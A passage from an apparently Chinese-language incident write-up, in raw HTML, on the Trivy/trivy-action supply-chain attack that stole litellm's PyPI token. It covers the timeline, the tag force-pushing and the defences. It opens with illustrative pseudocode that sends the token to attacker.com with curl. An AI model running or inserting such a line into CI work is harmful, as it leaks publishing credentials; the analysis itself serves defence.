dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># Trivy 被篡改后的行为（伪代码）</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> [ </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$PYPI_TOKEN</span></span><span leaf="">&#34;</span></span><span leaf=""> != </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;&#34;</span></span><span leaf=""> ]; </span><span style="color: rgb(0, 0, 255);"><span leaf="">then</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 将 Token 发送到攻击者服务器</span></span><span leaf=""><br/></span><span leaf="">    curl -X POST <a href="https://attacker.com/collect" target="_blank">https://attacker.com/collect</a> \</span><span leaf=""><br/></span><span leaf="">         -d </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;token=</span><span style="color: rgb(0, 128, 0);"><span leaf="">$PYPI_TOKEN</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">         -d </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;repo=</span><span style="color: rgb(0, 128, 0);"><span leaf="">$GITHUB_REPOSITORY</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">fi</span></span></code></pre></li><li><p data-line="231" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">PyPI 发布权限</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0px;" class="list-paddingleft-1"><li><p><span leaf="">上传任意版本到 litellm 的 PyPI 包</span></p></li><li><p><span leaf="">删除或修改现有版本</span></p></li><li><p><span leaf="">完全控制 litellm 在 PyPI 上的分发</span></p></li></ul><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">获得 Token 后，攻击者可以：</span></p></li></ul></ol><h3 data-line="237" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4️⃣ 攻击时间窗口</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23 前</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Trivy 依赖被攻陷</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Trivy 在 litellm CI 中运行，窃取 PYPI_TOKEN</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击者使用窃取的 Token 发布 v1.82.7</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-23</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">攻击者发布 v1.82.8（包含持久化后门）</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-24</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">社区发现并报告</span></p></td></tr></tbody></table><h3 data-line="247" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5️⃣ 为什么 Trivy 会成为攻击入口？</span></h3><h3 data-line="249" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6️⃣ 标签强制推送攻击详解</span></h3><p data-line="251" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">关键发现</span></strong><span leaf="">：攻击者通过强制推送（force push）76+ 个 trivy-action GitHub Actions 标签来扩大攻击面。</span></p><h4 data-line="253" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">什么是标签强制推送？</span></h4><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">标签（Tag）</span></strong><p><span leaf="">：Git 中的版本标记，指向特定的提交（commit）</span></p></li><li><strong><span leaf="">强制推送（Force Push）</span></strong><p><span leaf="">：使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git push --force</span></code><span leaf=""> 或 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git push --force-with-lease</span></code><span leaf=""> 覆盖远程仓库中的现有标签</span></p></li><li><strong><span leaf="">攻击手法</span></strong><p><span leaf="">：攻击者将现有的版本标签（如 v0.34.0, v0.33.0 等）重新指向恶意提交</span></p></li></ul><h4 data-line="258" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者如何操作？</span></h4><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">获得仓库访问权限</span></strong><p><span leaf="">：通过之前 Trivy 被攻陷时窃取的凭证</span></p></li><li><strong><span leaf="">创建恶意提交</span></strong><p><span leaf="">：在仓库中创建一个包含恶意代码的提交</span></p></li><li><strong><span leaf="">强制推送标签</span></strong><p><span leaf="">：将 76+ 个现有版本标签重新指向这个恶意提交</span></p></li><li><strong><span leaf="">扩大影响范围</span></strong><p><span leaf="">：所有使用这些标签的用户都会自动运行恶意代码</span></p></li></ol><h4 data-line="264" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">具体影响范围：</span></h4><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">受影响标签</span></strong><p><span leaf="">：v0.0.1 到 v0.34.0 的所有版本标签（共 76+ 个）</span></p></li><li><strong><span leaf="">暴露窗口</span></strong><p><span leaf="">：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约 12 小时）</span></p></li><li><strong><span leaf="">攻击目标</span></strong><p><span leaf="">：窃取 CI/CD 环境中的所有敏感信息</span></p></li></ul><h4 data-line="269" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">标签强制推送与 LiteLLM token 泄露的关系</span></h4><p data-line="271" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">直接因果关系</span></strong><span leaf="">：标签强制推送是攻击者扩大攻击面的手段，但不是 LiteLLM token 泄露的直接原因。</span></p><p data-line="273" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">攻击链分析</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="274" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│                   完整攻击链                                 │</span><span leaf=""><br/></span><span leaf="">├─────────────────────────────────────────────────────────────┤</span><span leaf=""><br/></span><span leaf="">│ 1. Trivy 被攻陷（第一次攻击）                               │</span><span leaf=""><br/></span><span leaf="">│    ↓                                                         │</span><span leaf=""><br/></span><span leaf="">│ 2. 攻击者获得 aquasecurity 组织的访问权限                   │</span><span leaf=""><br/></span><span leaf="">│    ↓                                                         │</span><span leaf=""><br/></span><span leaf="">│ 3. 攻击者强制推送 76+ 个 trivy-action 标签到恶意提交        │</span><span leaf=""><br/></span><span leaf="">│    ↓                                                         │</span><span leaf=""><br/></span><span leaf="">│ 4. 使用 litellm 的项目运行被篡改的 trivy-action             │</span><span leaf=""><br/></span><span leaf="">│    ↓                                                         │</span><span leaf=""><br/></span><span leaf="">│ 5. 恶意代码窃取 litellm CI/CD 环境中的 PYPI_TOKEN           │</span><span leaf=""><br/></span><span leaf="">│    ↓                                                         │</span><span leaf=""><br/></span><span leaf="">│ 6. 攻击者使用窃取的 PYPI_TOKEN 发布恶意 litellm 版本        │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span></code></pre><h4 data-line="292" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键结论：</span></h4><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="293" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">标签强制推送是攻击手段，不是根本原因</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">根本原因是 Trivy 被攻陷和凭证泄露</span></p></li><li><p><span leaf="">标签强制推送只是攻击者扩大影响范围的方式</span></p></li></ul><li><p data-line="297" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">LiteLLM token 泄露的直接原因</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><strong><span leaf="">直接原因</span></strong><p><span leaf="">：litellm 的 CI/CD 环境中配置了 PYPI_TOKEN</span></p></li><li><strong><span leaf="">触发条件</span></strong><p><span leaf="">：被篡改的 trivy-action 在 litellm 的 CI/CD 中运行</span></p></li><li><strong><span leaf="">攻击执行</span></strong><p><span leaf="">：恶意代码读取环境变量并发送给攻击者</span></p></li></ul><li><p data-line="302" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">防御措施</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><strong><span leaf="">标签不可变性</span></strong><p><span leaf="">：Trivy 团队已启用不可变标签（immutable tags）</span></p></li><li><strong><span leaf="">版本固定</span></strong><p><span leaf="">：litellm 已固定 trivy 版本到已知安全的 v0.50.0</span></p></li><li><strong><span leaf="">最小权限原则</span></strong><p><span leaf="">：CI/CD 工具应仅获得必要的最小权限</span></p></li><li><strong><span leaf="">使用提交哈希</span></strong><p><span leaf="">：推荐使用提交哈希而非标签引用</span></p></li></ul></ol><h4 data-line="308" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">修复过程：</span></h4><p data-line="309" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 Trivy 团队的官方回复：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">识别受影响标签</span></strong><p><span leaf="">：比较远程标签哈希与本地可信副本</span></p></li><li><strong><span leaf="">恢复安全标签</span></strong><p><span leaf="">：重新创建带 v 前缀的安全标签（如 v0.34.0）</span></p></li><li><strong><span leaf="">删除恶意标签</span></strong><p><span leaf="">：移除所有不带 v 前缀的标签</span></p></li><li><strong><span leaf="">启用不可变标签</span></strong><p><span leaf="">：防止未来类似的强制推送攻击</span></p></li></ol><h4 data-line="315" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">暴露时间窗口和确认信息</span></h4><p data-line="317" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">官方确认的暴露时间窗口</span></strong><span leaf="">（UTC）：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">开始</span></strong><p><span leaf="">: 2026-03-19 ~17:43</span></p></li><li><strong><span leaf="">结束</span></strong><p><span leaf="">: 2026-03-20 ~05:40</span></p></li><li><strong><span leaf="">持续时间</span></strong><p><span leaf="">: 约 12 小时</span></p></li></ul><p data-line="322" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">Trivy 团队官方声明</span></strong><span leaf="">（来自 Issue <a class="wx_topic_link" topic-id="mn63vx41-nr6nj1" style="color: #576B95 !important;" data-topic="1" data-recommend="">#541</a> 评论）：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="323" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">&#34;All tags before 0.35.0 in this repository were pointing to malicious commits. We have restored all tags to their original, safe commits.&#34;</span></p><p data-line="325" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">&#34;The 0.35.0 version that we created after the first incident is </span><strong><span leaf="">safe and wasn&#39;t compromised</span></strong><span leaf="">.&#34;</span></p></blockquote><p data-line="327" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">关键确认</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">受影响版本</span></strong><p><span leaf="">：所有 0.35.0 之前的标签（v0.0.1 到 v0.34.x）</span></p></li><li><strong><span leaf="">安全版本</span></strong><p><span leaf="">：v0.35.0 及之后版本是安全的</span></p></li><li><strong><span leaf="">恶意提交日期伪造</span></strong><p><span leaf="">：攻击者将提交日期改为 2026-01-15，使其看起来像是很久以前引入的，但实际攻击发生在 2026-03-19</span></p></li><li><strong><span 